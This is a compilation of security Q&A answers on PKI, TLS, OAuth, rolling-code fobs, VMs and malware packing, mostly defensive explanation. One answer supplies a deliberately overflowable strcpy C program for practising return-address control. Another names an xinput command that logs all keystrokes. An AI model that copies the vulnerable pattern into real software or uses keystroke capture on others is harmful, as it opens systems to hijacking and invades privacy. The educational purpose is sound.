Is using self-signed certificates an option for this m2m scenario

using self-signed certificates ... we install the root CA certificate on the clients

Your statements are conflicting: Either you have (your own) root CA to sign all certificates, or all these certificates are only signed by themselves (self-signed) which means there is no root CA.

If all of the machines are managed by the same party then you can use a common trusted root CA for all the certificates. It not only simplifies everything, but it can actually be more secure if all clients used to manage the machines only accept this single CA as trusted and if this CA only issues certificates for this machines. Having self-signed certificates is instead a maintenance nightmare, because you would need to trust each of these certificates explicitly instead of just trusting a single CA.

But, I doubt that you will be able to roll out your own CA in a secure way based on your current knowledge. Since a compromise of your own CA would immediately compromise the certificates of all your machines, I would strongly recommend that you get a recognized (instead of a self-proclaimed) security professional on board to help you with this issue.

Apart from that it might be a good idea to ask such questions at security.stackexchange.com.


Can closing port 80 lead to more security?

Almost all sites leave port 80 open and have it issue a redirect to https://...

The reason for this is that is your site is https://mysite.com/ then most users will access the site by typing mysite.com and their browser will initially try http://mysite.com/ If you've closed port 80 then their request will fail.

The security merits of this have been discussed in this question. It is more secure to disable HTTP, but for most sites the reduction is usability is not worth it. HTTP Strict Transport Security is an option to consider.


Can viruses be transfered across incompatible architectures?

It might, different architectures may stop binaries compiled for one architecture being executed on another. On the other hand, if the virus does not depend heavily on the host architecture (eg. it uses interpreted code such as shell scripts) or is designed to work across multiple architectures then it may not help.

A better approach might be to use an ephemeral OS, such as a live CD which can be discarded afterwards, or mount your root device as read only.


In computers, we tend to talk in three bases, binary (base 2), decimal (base 10 - the one you are familiar with), and hexadecimal (base 16).  Computers usually encode everything in binary digits

A bit is b-inary dig-it - a digit in base 2 that is either a 0 or 1.  E.g., you could represent the decimal number 42 as 6 binary digits: 101010bin as 42 = 32 + 8 + 2 = 25 + 2 3 + 21.

Similarly every hexadecimal digit is a number between 0 and 24-1= 15 = fhex = 1111binary.  The 16 hex digits are 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f.  (Sometimes the last 6 characters are written in uppercase -- its the same letters).

So if you see a hash that looks like  b1946ac92492d2347c6235b4d2611184 you can immediately notice that there are 32 hexadecimal characters.  Thus as every hexadecimal character is 4 bits, it is 32*4 = 128 bits.

While we are at it, should mention that a byte is a convenient unit -- most plaintext characters in a text file are represented in one byte of data; e.g., a 100 kilobyte plaintext file will have about 100,000 characters in it.  A byte is 8 bits - in binary a number 0 and 255 = 11111111binary = ffhex) - two hexadecimal characters.


What can Google actually do on my phone using Google Play Services?

But there are some problems with all these possibilities:

  There's no proof that something like this ever happened before (except the vulnerabilities. nobody could seriously deny that such a
  large codebase has vulnerabilities).

You're in the wrong forum if you think that "it's obviously easily possible, but has not been subject to large attention" is in any way a limit to the damage that can be done.

In fact, app updates as automatically done by the Play Services have been used extensively before to remove software and intellectual property from devices, add more intrusive ads in later versions, remove functionality, add spying… pretty much the definition of "malicious", if you ask me.

  They would require a targeted attack.

No. I don't see how that is true. If google wants, it can update the home screen of millions of users at once and then later pick out the data they're interested in.

  It all (still) sounds like conspiracy theory for many (even technical) people.

Nope. It seems you're young: Back in my day (and I'm not that old), there was consensus among people that updaters are questionable, at best, and only with the advent of ever more malware, the desire to have automatic security updates outweighed the concern about unsupervised updating.

In other words: it only sounds like a conspiracy theory if you're absolutely used to running such software. If you explain to someone from the 90s or 2000s that billions of devices will update central parts of their internet-connected firmware on a single whim of a single supplier, they'd probably be a little alarmed.

  So my question is: What can Google actually do on my phone which will breach my privacy using the services without any patching and exploits?

Anything. The same services, as far as I know, is used to provide system updates. These, by definition, have the highest degree of privilege on your system.

  Can they access private app data? Record keystrokes? See network communication? Manipulate what I see?

Yes. Imagine someone replacing the software that interacts with you, your display and netork. That is exactly the job of a system component update.


Are there documented best practices when federating identity to a third party using OIDC?

Feel you, there is almost nothing documented to be an idp, but you can find a lot on how to be a sp.

As far as I understand federated identity, when you use idp1 and federate to idp2, idp1 acts as a client so yes, you should delegate almost everything to idp2 (request tokens, validate them, etc).

I also agree with

  we should not store cookies and should instead always redirect to the third-party IdP.

that should have cookies stored to mantain SSO.


Can a source code be shared and secured form unauthorized use at the same time?

No there isn't
Atleast, there is no foolproof way. If you give them the code, they can do whatever they like with it. If you attempt to include some checks in the code that prevent anybody else from using it without having a password/key/etc, with enough effort, the check can be removed from the code by anyone copying it.


Additional security for WebRTC/DTLS-SRTP with PGP?

DTLS-SRTP builds on DTLS which applies its own encryption layer. The handshake, by construction, is done outside of any encryption, and that's fine.

"Relay servers" are a red herring. The two clients will talk to each other by sending data packets which will go through a number of other systems. Whether you consider some of these systems as "routers" or as "relays" does not matter; security properties ensured by TLS (and DTLS) don't depend on the actual transport method.

Inserting PGP keys in the mixture does any good only if you want to use these keys as basis for authentication. This is theoretically possible, meaning that the protocol has been defined -- but it remains to be actually implemented and deployed. With this support, the X.509-based certificates of SSL are replaced with PGP public keys; this maps to DTLS as well. Getting rid of X.509 certificates is a good idea if you have other means to achieve mutual authentication, and PGP keys can be such means, as RFC 6091 describes.


If You Use Secure Sites with Extended Validation Certificates How Much Do You Still Have To Worry About Phishing Sites Impersonating Them?

let's say that I then create a usage policy (for users in an organization I work for, or even just for myself) that says that those sensitive sites can only be accessed in my special EV-only browser.

I don't think that's worth the effort.

Maintenance of a browser is very hard.

Also: I think teaching users to "use that browser for that site!" might be just as hard as teaching them: "look for the green lock!" -- Although this might be fixed if you just place bookmarks on their desktops that open a site either with one or the other browser.

Still: If you actually have such a list of known-sensitive sites, then you might also do something like set up Nagios to alert you on certificate changes. This would have the additional advantage of alerting admins that know how to handle such a change.

  Bad Guy might be able to get a cert authority to issue an EV certificate to him

The EV promise only holds if you trust the promise-giver. If the promise-giver is suddenly untrustworthy (for whatever reason, hacking, bribery, mistake) then the promise is not worth much anymore either.

After all the EV part of a certificate is just adding another flag to the certificate. And the CA can do that at will. If their internal accountability fails, if the okay, we add this flag if and only if we've actually done the proper identity verification policy fails, then this usually will be non-obvious to any outsider.

This is where Certificate Transparency might help. This would at least make (mis-)issuance publicly detectable.


Can someone track my location if I clicked on a link to Google Maps?

I would not worry to much about this.
It is possible the person who sent the link now knows your IP address. However, that doesn't give them very much information. It can be used to figure out roughly what city you probably are in, but it won't get any more precise than that.
Unless they discovered some major vulnerability in your browser, your device or in Google Maps, they can't figure out where you are just because you click a link. This is not very likely and not something I would worry about in a situation like this.
If you gave the website some extra permissions, if you downloaded something, entered some information or did something else on the site than just merely visiting it, there would be bigger risks involved.


Why not slightly modify an existing hashfunction to create your own?

Changing shift rounds blindly has undefined effect on strength. E.g., you could have similar amount of collisions, you could have orders of magnitude more amounts of collisions, shift rounds defined initially have known probability of collisions, shift rounds changed randomly do not.

Listen to folks above, use salting, it's specifically used to serve your purpose. Altering the engine of the car you're driving is a funny sport with fatal outcomes.


How vulnerable is connecting Android App to PHP API with prewritten queries

If there's no user input used to construct the queries, there's no threat of SQL injection.

This is a reasonably good way to go about allowing an Android app to get data from a shared database. The primary thing to think about are denial of service attacks - can one user make repeated calls to the endpoint that bring down the service (and potentially other apps or parts of the app that share the same infrastructure)? Appropriate use of caching and IP throttling will mitigate this for the most part, and monitoring that alerts you when there's an issue will allow you to deal with the rest as needed.

The only other thing I can think are standard generic web application attacks like having debug information turned on (leaking db credentials, filenames, etc. on errors), slowloris, and so on, but these aren't specific to your situation.


Accessing keystrokes directed at iframe?

If I enter data in an iframe as the parent window is still on focus, will it be able to record my keystrokes

Sort of. The parent window can't interfere with the key events in the iframe itself due to the Same Origin Policy, but there are various clickjacking attacks that allow it to subvert that interface. An obvious one is that it could overlay its own input box on top of the iframe interface at the same place where the real VbV password box would be.

On a more basic level, the parent window could completely spoof the contents of the frame—either coming up with its own phishing interface from scratch, or doing a man-in-the-middle with content from the Issuer's authentication server (ACS). Since there is no browser indicator to tell you what site an iframe comes from, you have no way to tell that you're really talking to your bank.

The consequence of this is that in the iframe-based 3-D Secure model, you absolutely must trust the merchant. Malicious merchants and those whose sites are compromised (eg by XSS) are not part of the threat model that 3-D Secure is attempting to protect against.

It's pretty uncommon to see 3-D Secure opened in a new page or pop-up window these days; the pop-up model was deprecated by Visa years ago and the redirect model is not favoured by merchants due to the way it takes the user out of the merchant's UI.


Best way to secure Telegram Token in program?

Is it possible to share the token privately

No. If the machine can access the token then the token can be recovered (assuming you can't place it in SGX or a trusted module).

How to workaround

You can set up a server which recieves API calls, and then forwards the body of them to you, the server can hold the token, so your compiled code never needs to handle it. You could host this on a serverless platform if you prefer (AWS Lambda, Google Cloud Functions, Azure Functions etc.).

Possible issues

If anyone can message you, you may receive a lot of spam, depending on how you filter it.


What is the proper setup procedure for SSL Tunnel certificates?

According to tech support for Niagara AX, "HTTPS Tunneling is not supported".  This contradicts what I have heard from other sources, so while I will put this as the "official" answer to my question, I may update it if other information becomes available.

In other words, the point of my question, namely to find out whether certain settings or file formats for the HTTPS certificates were required to make this type of tunneling possible within this software/network environment, is moot.  Thank you to all who took the time to read and consider my question.


Data Encryption and Key Management in C#

Though you can probably get stronger encryption when you choose the algorithms yourself (DPAPI used to use 3DES, dont know if thats still the case in 7), the weakest part of your crypto-system will almost always be the key management. (assuming you use decent algorithms, and even 3DES is not completely broken).

Using DPAPI means you dont have to worry about key management at all (other than protecting your key with DPAPI in the first place). I'm sure @Thomas will jump in with a detailed response, but typically my answer would be to go with DPAPI.


Can virtual machines access files/drives protected by host?

Looking at Aria's comment I feel like I have enough information to answer my own question. Access to external storage or USB peripherals from within a virtual machine is dependent on the host operating system and the virtual machine software being used. For a virtual machine to access actual external hardware, it needs access from the virtualization software, which in turn needs access from the operating system. Security then comes down to the level of protection implemented by the virtualization software which is isolated from virtual machine itself.


Cannot overwrite EIP in basic exploitation example

I may be missing something really here, but the easiest way for exploiting this, is that the strcpy() call is in another function.  This way, you overwrite the stored return address, essentially giving you control to EIP.

Your main function doesn't really return into a space that you control.

Make the code something like:

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0;
}

The overflow will happen when vuln( ) is finishes and fetches the stored (but overwritten) return address to drop you back in main( ).

That should get you started.


Does a Virtual Machine stop malware from doing harm?

Theoretically, the guest system is totally isolated by the VM and cannot even "see" the host, let alone attack it; so the guest cannot break out of the VM. Of course, in practice, it has occasionally happened (web archive link). An attack requires exploiting a security issue (i.e. a programming bug which turns out to have nasty consequences) in the VM implementation or, possibly, the hardware features on which the VM builds on. There are few exit routes for data out of the VM; e.g., for Internet access, the VM is emulating a virtual network card, which deals only with the lowest level packets, not full TCP/IP -- thus, most IP-stack issues remain confined within the VM itself. So bugs leading to breakout from VM tend to remain rare occurrences.

There are some kinds of attacks against which VM are very effective, e.g. fork bombs. From the point of view of the host system, the VM is a single process. A fork bomb in the guest will bring to its knees the scheduler in the guest OS, but for the host this will be totally harmless. Similarly for memory: the VM emulates a physical machine with a given amount of RAM, and will need about that amount of "real" RAM to back it up efficiently. Regardless of what the guest does, the VM will never monopolize more RAM than that. (You still want to limit VM RAM size to, say, at most 1/2 of your physical RAM size, because the extra "real" RAM is handy for disk caching; and the host OS will want to use some, too.)


Approach to (nmap?) port scan a subnet over VPN? (updated with figure)

I seem to have found a solution. Although it seems Npcap is not fully supporting PPP connections, I was able to use the --unprivileged option, in combination with skipping the ping probe using the -Pn option in nmap. In this case, this seems to suffice for the task I have at hand, although it is not fully clear to me what I might be missing when using the unprivileged mode.

For completeness I am adding the description of these:

  --privileged (Assume that the user is fully privileged) Tells Nmap to simply assume that it is privileged enough to perform raw socket
  sends, packet sniffing, and similar operations that usually require
  root privileges on Unix systems. By default Nmap quits if such
  operations are requested but geteuid is not zero. --privileged is
  useful with Linux kernel capabilities and similar systems that may be
  configured to allow unprivileged users to perform raw-packet scans. Be
  sure to provide this option flag before any flags for options that
  require privileges (SYN scan, OS detection, etc.). The NMAP_PRIVILEGED
  environment variable may be set as an equivalent alternative to
  --privileged.

  --unprivileged (Assume that the user lacks raw socket privileges) This option is the opposite of --privileged. It tells Nmap to treat the
  user as lacking network raw socket and sniffing privileges. This is
  useful for testing, debugging, or when the raw network functionality
  of your operating system is somehow broken. The NMAP_UNPRIVILEGED
  environment variable may be set as an equivalent alternative to
  --unprivileged.


NoScript: How to determine which sites/scripts to whitelist?

You could install a site advisor plugin like for example McAfee's site advisor. By doing this you can easier search the domain for any reported maliciousness.

For example I search a domain which a big newspaper is getting their adds from I get report back saying generally OK, but community reports say "Adware, spyware, or viruses (1)".

I'm sure there exists more and possibly better plugins for searching a domain for their rating aswell.

EDIT: I would like to add this snippet I found from NoScript's FAQ:

  Starting with version 1.9.9.61,
  NoScript offers a "Site Info" page
  which can help you to assess the
  trustworthyness of the web sites shown
  in your NoScript menu. You can access
  this service by middle-clicking or
  shift-clicking the relevant menu item.
  If you're more on the technical side
  and you want to examine the JavaScript
  source code before allowing, you can
  help yourself with JSView.

So if you are curious if you should trust it or not just middle click the domain and it will query the following sites for information:

WOT Scorecard
McAfee SiteAdvisor®
Webmaster Tips Site Information
Safe Browsing Diagnostic on google-analytics.com


Why does WhatsApp not encrypt Google Drive backups?

'Why does Google not encrypt your Whatsapp messages'?

As mentioned briefly in the comment above, it is something that we will never really know, unless privy to the agreements between FB and Google.

We can speculate though:

Google makes it's money from data and information. The more information it gathers, the more opportunities it has to make money. Very similar business model to FB in that respect.

Google can also comply with court orders to turn over information if asked. If they used zero-knowledge encryption, they would not be able to do that. I imagine that would make LE very unhappy.

An actual answer is impossible, I'm afraid. If you want to be sure your messages are not copied, or used for marketing or whatever, install Signal and encourage all of your friends to do so. Good luck. It's an uphill battle to fight the inertia of WhatsApp!


How do rolling code fobs and receivers synchronise?

Keeloq is used in many but not all key fobs/garage door openers. This article is writen by microchip who created keeloq Introduction to Ultimate KEELOQ Technology.

tl;dr

The remote(key fob/garage door opener) and receiver(car/garage motor unit) use the same 64 bit key to encrypt and decrypt. A "serial number" is used to identify a specific remote. Every time a button is pressed the remote's "sync counter" is incremented by 1. If the remotes "sync counter" is 0 to ~250 ahead of the receivers "sync counter" then it accepts the code and updates the sync counter for that remote. Since the "sync counter" is encrypted with a key that is only known to the remote and reciever a sniffer cannot forge a code even if it knew the next "sync counter" because it doesn't have the 64 bit key.

  My original understanding of rolling codes was that there was a shared secret (perhaps a serial number?) between the fob and the car, and that this was used to cryptographically generate the same infinite sequence of rolling codes on both sides.

The remote encrypts the "Encrypted Portion" of the packet and sends that and the fixed portion to the receiver which then decrypts the "Encrypted Portion" using the same 64 bit key that the remote used. This is a different scheme than one time passwords which is often used for web authentication.

Well it's not infinite. Every time a button is pressed the "Sync Counter" is incremented by 1. The "Sync Counter" can range from 0 to 65535. So after 65536 transmissions you would see the same codes repeat. If you captured 65536 unlock transmissions you'd be able unlock the car/garage by playing the next raw capture
in that sequence since it just wraps around.

  I now think that I was over-estimating the technology, because it appears that a receiver can be trained to accept a new fob with a relatively simple process that doesn't require transferring a secret - you just need to push the fob once when the car/garage is in the equivalent of a "change password" mode.

Kind of. You're right that no shared-secret is exchanged or communicated. How the remote and receiver end-up using the same 64 bit key depends on the scheme.

There are 3 learning modes "simple" "normal" "secure" described by the pdf.

Simple

  The Simple key generation scheme is the simplest
  scheme that a KEELOQ technology system supports.
  When using simple key generation, one single key is
  used by all encoders and the transmitters are differen-
  tiated only by the serial number.
  It is very important that the user understands exactly
  what the implications of using such a key generation
  scheme are. This could be a potential security risk. If
  any encoder is compromised and the encryption key is
  found, then all the encoders are compromised,
  because they use exactly the same key.

All remotes and receivers use EXACTLY the same 64 bit key to encrypt and decrypt packets.

normal

  The Normal key generation scheme is the common key
  generation scheme for KEELOQ technology systems.
  During Normal Learn, a master key is used (known as
  the “manufacturer code”).
  When using the normal learning mechanism, the
  decoder uses the manufacturer code and the serial
  number to calculate the decryption key for each
  transmitter.
  Using the serial number of each encoder and the
  manufacturer code, the unique encryption key for each
  encoder is calculated. The encoder stores only the
  serial number and the calculated encryption key. The
  decoder needs to be programmed with this
  manufacturer code in order to be able to calculate
  individual encryption keys. To calculate the encryption
  key, the 28-bit serial number is padded with
  0x6000000 and 0x20000000 and decrypted using
  the manufacturer code as the decryption key. This
  operation is done twice, in order to calculate the high
  part and the low part (MSB and LSB) of the encryption
  key.

The 64 bit key is derived using the "serial number" and the "manufacturers code". The remote only stores the derived key not the master key, but the receiver knows the master key so that it can derive any specific remote key. So it "learns" the remotes "serial number" and then derives that remote's 64 bit key.

secure

  The Secure key generation scheme is a more
  advanced key generation scheme. When using the
  normal key generation scheme, the key is generated
  from the serial number and the manufacturer code.
  Since the serial number is transmitted in any packet,
  one part of the key generation scheme is always
  exposed. But an even more secure method is to
  generate a random number (called “seed”). Depending
  on the length of the seed, there are three key
  generation schemes: 32-bit seed, 48-bit seed and
  60-bit seed. During normal operation, the seed is not transmitted.
  The only time when the seed is transmitted is during
  the learning/pairing phase. Thus, the information that is
  used to generate the encryption key is kept confiden-
  tial. Some implementations take the security level even
  further, by allowing the seed to be transmitted only for
  a limited period (in which the system is installed) and
  then disabling this feature.

A seed is used instead of the "serial number" for deriving the 64 bit key. The only time this seed is transmitted is at learning/pairing time.

As a final note. There are other schemes out there that are better than keeloq. Even the pdf describes a scheme that uses AES instead of keeloq, but there are worse ones too. Some garages still used fixed codes.

  I am disappointed in car/garage security systems.

Me too.


Clearing/Securing an android device from untrusted source

If you are buying from an untrusted seller seems like the best you would be able to try is  obtaining the images/ROMs (system.img, recovery.img, bootloader, any other firmware images)from a source that could possibly be trusted. It's been a long time since I looked at AOSP and I think CyanogenMod isn't what it used to be either... That being said putting images from a known source (if they can be obtained) would be a start; however, that wouldn't necessarily address hardware backdoors or firmware that could exist on the device that isn't flash-able. This also assumes that you could replace the bootloader or utilities that you would use to flash the device. jtag might be an option that you could explore as well.

Hope that helps some.


How a packed malware runs the unpacked code?

Packed malware has a an unpacking stub that will decrypt the obfuscated code and save it to another region. Then it will change that region to executable permissions and then adjust the instruction pointer or jump to the start of the newly written executable code region.

So in order to execute the malware it's basically the equivalent of a jump in assembly to a new like of code or a go to statement to another line or a function call in a higher level language to another area of code.


Hostname validation for server-side certificate

It depends:

If you expect a specific certificate the most secure way is to configure your reverse proxy that it expects exactly this certificate. In this case the actual subject of the certificate does not matter and it can also be self-signed, because the reverse proxy will not accept anything else than this certificate.
If instead you accept a certificate as long as it is signed by a trusted CA then you need to additionally check the subject. Otherwise a man-in-the-middle attack could be done by any other certificate which was issued by a trusted CA and at least if you use public CA then these certificates are easy to get without any kind of hacking.

For certificates signed by a public CA usually the name in subjectAltName/CN is checked against the actual hostname of the server (from the URL) because this the part which is considered specific enough and it is expected that nobody can get a certificate for a hostname (s)he does not own. If you have another property which can be used as secure identifier with the same properties than this could be used instead too, but public CA usually want the hostname.

How you propagate the error in case the certificate does not match depends on the exact design of your application. But usually the reverse proxy is part of the server side and in this case errors in the validation mean that there is something wrong at the server side which need to be fixed there. Thus you could tell the client that something is wrong but the actual details should probably not be told to the client.


Which parameters can I use to analyse my cipher?

Now please suggest me the possible parameters to judge my algorithm.

The most important parameters at the current development stage of your algorithm are probably:

your understanding of other algorithms
your ability to break other algorithms, or at least to fully understand how others manage to break them
your knowledge of number theory
your relationship with recognized experts in the field of cryptography

If you really have the necessary knowledge to create a new algorithm then you would not need to ask here for the important parameters to judge it. If you algorithm is good enough than you will manage to get a recognized expert to look at it. If you don't know any of the experts then I doubt that you will be able to create a good algorithm.

I also recommend to look at the nice analysis of some other homemade algorithm just to get a feeling for how easy it is to get things wrong.


The TLS version and cipher suite are the relevant parameters for the connection security of a TLS connection. The information above doesn't show the full ciphersuite, e.g. the hash algorithm is missing.

However, instead of getting opinions from individuals here on this site you can get some kind of official rating of the quality by submitting the host name to the "SSL check" on https://www.ssllabs.com/. It will give you a rating (A, B, C) and checks a lot of stuff.


Should client have access to 3rd party API access token?

the oAuth 2 framework doesn't regulate this aspect, so technically either approach is fine. However, what is usually followed is the one where the server maintains the access token, along with the refresh token (in case of offline access, e.g. in google's oAuth framework).

When you are using a third party authentication, you are using it as an IDP (identity provider) so that you can attach the identity with the user. In addition to that, as restricted by the scopes of the access token, you can access some additional services provided by the third party resource server. After this whatever interaction happens between the client and your server should be managed by your own application's session. You should not use the access token as your session token in your application.

To comment on the drawback with this approach as you remarked:

  If the server holds on to this Third Party Access Token (never sending it to the Client), it creates a resource that is sensitive and must be stored and protected. I would think it would be safer to only temporarily have access to the Access Token when needed.

Even if the access token is given back to your client, you would still have to ensure that it is stored on the client securely. And it is easier to provide that security on server than on client.

  Send the Third Party 'Access Token' to the Client so that it can be included in all future calls to the Server which will then call the Third Party's API,

This seems to be not a very good idea for the other reason that's it's wholly redundant in this case to route the request through your server. If the client has the access token (which is usually a bearer token), it can directly communicate with the third party resource server. Unless of course the third party server restricts access based on IP whitelisting or such other means. Again in that case it's better to have your own custom session between your client and server and let the server talk to the resource server using the access token that it saves with itself.


I see a warning notification "site not verified"

Identity not verified means that the certificates being provided by the server are not able to be verified by Chrome.  Clicking on where the lock symbol would be should give you additional details about why it is failing.  Failure can result because the site's certificate is not signed by a root certificate you trust, it could be due to the certificate being revoked, it could result from your date being off and resulting in the certificate being outside the validity period for the certificate, etc.

Https will connect regardless of the presence of a valid certificate, but it means you have no idea who you are talking to.  It could be an attacker trying to compromise your connection unless the certificate resolves as valid and for the actual site you are trying to talk to.

Update: In this case, the certificate is unable to be audited.  In other words, it does not have the necessary information to be able to go to the CA and check if the certificate has been manually revoked prior to its expiration.  This is generally not a problem unless the site's private key may have been compromised.  It is possible something is blocking your ability to see certificate revocations or it may simply not be configured for that site.  It isn't ideal, but it is the least concerning reason for a certificate to be unable to validate.


Can I complete SSL Certificate Domain Control Validation (DCV)

The preferred method of domain control validation is usually to receive the email address registered in the whois database. However, Comodo does provide a couple alternative validation methods:

  Validation by alternative methods of DCV – There are currently 3 alternative methods you can pick from. The first two involve uploading a .txt file containing hashes of your CSR to your web server. The third involves adding the hash of your CSR as a DNS CNAME for your domain. In all cases, Comodo will run an automated test to ensure that you have completed the task.

Since you control neither the registered email address nor the DNS, the only validation mechanism that you can do is the one where you serve a certain text file on the domain. So yes, you can pass domain validation for the subdomain you have control of. Your domain control validation will only be considered valid for the subdomain you control.


How does a CA send a digital certificate?

There is a standard for exchanging messages with CA, but it is rarely implemented in practice. Existing commercial CA that deal with many remote customers tend to organize the certificate issuance process through some custom interface (often Web-based) and the certificate-sending is part of that process. Various methods are used in practice, possibly combined:

Sending the certificate over email.
Make the certificate available to the user over HTTP (the URL being displayed in some Web page, or even sent by email).
A custom protocol between the CA and a CA-controlled component that runs on the user machine (Applet, ActiveX control, full-blown "management console" application...).
Any "manual transfer" protocol in some specific situations (e.g. when an offline root CA issues a certificate for an intermediate CA, the transfer must involve something like a USB key, since the root CA is offline).

The certificate itself is commonly encoded "as is" (X.509 DER, or PEM), or wrapped into a so-called PKCS#7 (CMS) object. CMS was never meant to convey certificates (it is an encryption and signature format) but it is traditional to use it to send a certificate and a set of "helper certificates" (intermediate CA for its validation).

Some CA generate the private key themselves (on the CA side), and, in that case, the private key must be sent to the requester; usually, a PKCS#12 (aka PFX) archive is used to contain both the certificate and the private key, with password protection (password-based encryption).

Since a certificate is signed and contains only public data, its integrity is readily verified upon reception, and it how it travels is unimportant for security. This is the main good thing about certificates.


Why isn't there a certificate revocation request standard?

There is a standard for that, and, more generally, for all communications with a PKI. It is called Certificate Management Protocol (CMP). Revocation requests are specified in section 5.3.9.

Now, finding a PKI that actually implements CMP... this may be challenging.


What do people mean by "top-down manner" in X.509 certificates?

"Top-down" means that certificate validation proceeds from the root CA down to the end-entity certificate (i.e. the certificate you want to validate). This relates to the idea that an X.509 PKI is meant to be hierarchical: at the "top" there is one or a few root CA, which are trusted a priori, and then trust trickles down to the intermediate CA whose certificates have been issued (signed) by a root CA, then to other intermediate CA issued by the previous intermediate CA, and so on, until trust reaches the certificate for an email user or SSL server.

Notions of "up" and "down" are completely arbitrary, of course, but it is traditional to consider that the source of authority and trust is at "the top".

Interestingly, the root of a biological tree is at the bottom; however, in computer science, trees are customarily represented with the root on top, as in this picture (taken from Wikipedia):

By contrast, the PKI structure for which OpenPGP was designed, i.e. the Web of trust, is not "top-down" because it is highly decentralized, so there is no "top" entity.

Cross-certification are in fact non-tree-like features; the more cross-certifications you do, the less top-down the PKI becomes. One could say that the Web of trust is a hierarchical PKI with so many cross-certification that the initial, hierarchical structure has become redundant and was bodily removed.


Are packets processed by a proxy new or modified?

When using a proxy there is one connection between client and proxy and another connection between proxy and server. These connections are usually fully independent regarding TTL, TCP flow control, packet size (when using TCP) etc. Often they also have different source and destination IP and ports, i.e. with an explicit proxy the target of the connection from the server is the proxy, the target of the connection to the server is the server (different from proxy) and the source of this connection is the proxy (and not the client). Even the application layer content might be different, for example by injecting X-Forwarded-For headers into the original HTTP request when forwarding the request or Via headers into request and response.

Some proxies explicitly extract packet layer information from the source connection and apply these to the target connection when forwarding the data. Often this is the destination IP address when the proxy is configured to be used in a destination transparent way. It could also be source IP (and port) if the proxy is used in a fully transparent way (destination and source transparency). It might in theory also be possible to extract the original TTL and apply it when forwarding  but I'm not aware of any proxy doing this.

With SSL/TLS involved the situation is no different. If SSL interception is done then there is one SSL connection from client to proxy and another one from proxy to server so that the proxy can get the plain text data. If no SSL interception is done then there are still two TCP connections but the proxy will forward the encrypted data directly.

Note that the behavior of a proxy as used in an application layer gateway as described above is different from Deep Packet Inspection (DPI) as done in many Next Generation Firewalls (but not all, some employ proxies). With DPI the original packet gets forwarded which includes the same source and IP address and port and also TTL. SSL interception is not possible this way, i.e. for this the firewalls also employ (transparent) proxy technologies with one SSL connection between client and firewall and another one between firewall and server.


The "export ciphers" were defined in SSL 3.0 and TLS 1.0, but they implied that symmetric encryption relied on a 40-bit key only; this is highly breakable in practice. Notably, the reduction was direct (the key has length 40 bits exactly), instead of a reduction trick with a 40-bit key space (as can be done in RC2), so precomputed tables can be used to break this encryption instantly. Using an "export cipher suite" is not much better than not using SSL at all, at least against passive eavesdropping (for active attacks, we could argue).

This is reason enough not to use these cipher suites at all. Indeed TLS 1.1 and TLS 1.2 declare them as unsupported. Indeed, in annex A.5 of TLS 1.1, we find this text:

  When SSLv3 and TLS 1.0 were designed, the United States restricted
     the export of cryptographic software containing certain strong
     encryption algorithms.  A series of cipher suites were designed to
     operate at reduced key lengths in order to comply with those
     regulations.  Due to advances in computer performance, these
     algorithms are now unacceptably weak, and export restrictions have
     since been loosened.  TLS 1.1 implementations MUST NOT negotiate
     these cipher suites in TLS 1.1 mode.  However, for backward
     compatibility they may be offered in the ClientHello for use with TLS
     1.0 or SSLv3-only servers.  TLS 1.1 clients MUST check that the
     server did not choose one of these cipher suites during the
     handshake.  These ciphersuites are listed below for informational
     purposes and to reserve the numbers.

Note also that the US export regulations have been lightened circa 2000, so these cipher suites don't make much sense nowadays.

If there is no cipher suite which both client and server support, then they won't be able to "do SSL".

I quite doubt, though, that there are people on the Internet with browsers who can only use "export" cipher suites, and these people are still able to connect to the Internet and try to use it. Even Netscape Navigator supported non-export cipher suites, and it was legally exportable (version 4.8 was from 2002; and versions prior to 4.8 crash on UTF-8 text, so they cannot be considered as "usable" at all...).

Also, note that export regulations are just that: export regulations. These means that it might be unlawful for a US-based company to send a product with strong encryption across the border, into, say, North Korea. This does not mean that it never happened. Only that if there is a browser with strong SSL encryption right now in North Korea, then, at some point, chances are that one export regulation of one country was transgressed. Or even maybe not: a given software may hop from country to country, in each case with full conformance with local export and import rules, and then reach North Korea, even if a direct USA-to-North Korea export would have been frowned upon by US authorities. There is no guarantee that export regulations are transitive (in the mathematical sense).

In fact, it can be surmised that if someone from North Korea can access ebay.com at all (meaning in practice that this guy is Kim Jong-Un himself), then he most probably uses a browser which can do strong SSL encryption.

Summary: consequences of not supporting "export" cipher suites are, in practice, nil.


Token FIPS 140-2 level 3 with support for Android, iPhone and Web

The 5100 Token's are small USB sticks which when plugged into a Desktop which be are accessed via SafeNet's Authentication Client. We use them for internal CA Authentication and they ... need to improve upon the Availability in the C-I-A triad.

Phones don't have USB so if you looking for Token-based Authentication for Mobile, 5100 are not the way to go. There are a few ways to try and tackle this they are very similar in nature, but depend on the type of developer you are.

Cloud Based Key Management

AWS has KMS (Key Management Services) and you can look at the details here. They are FIPS 140-2 Level 3 compliant and provide an API for you access the KMS. This is probably the most flexible and easiest to implement, but also requires a higher levels of developer knowledge to do it right.

Cloud-ish Based Key Management

Gemalto, your SafeNet provider, has their Trusted Key Management, which is similar to AWS. Difference being you build out your infrastructure for handling mobile apps. The premise is pretty similar, except your IT team is now responsible for HSM and it's FIPS 140-2 Level 3 implementation. I haven't used this but I believe the mobile Trusted Key Management is just an app on your device that connects back to your infrastructure.

Other in the field I am sure do similar, I figure if your using SafeNet you might have relationship with Gemalto.

DIY Development

Don't do this. I don't need to explain this.


How can I intercept video over a wireless network in real time?

If the connection is unencrypted then you can sniff the video and watch it, real time if you have the tools and have visibility of the connection (typically by being on the target's network, but not necessarily)

You won't necessarily know when they stop and start the video, as most video services buffer the stream (ie they download ahead of where you are watching)


This is a very broad question that can't be answered with anything near sufficiency on Stack Overflow.  You really need to read a book to understand all of this.  I highly recommend the Web Application Hacker's Handbook.  It is an interesting and informative read.

Broadly speaking, you need to worry about people stealing or guessing the session ID.  There are many different ways to do that.  Make sure you are protected against XSS, CSRF, and that you are generating session IDs with sufficient entropy and randomness.  Don't fall into the trap of using the current time value either.  Those are surprisingly quite predictable.


Linux Security of typing passwords via xdotool vs keyboard driver vs other solutions

Any application that you've run at least once can, if it wants to, see everything that you type, read all your files, and extract your passwords from your password manager. All it has to do is inject itself somewhere into the system:

To see everything you type: connect to the X server and ask. (To see how, run xtrace xinput test 42 where 42 is the device ID of your keyboard.)
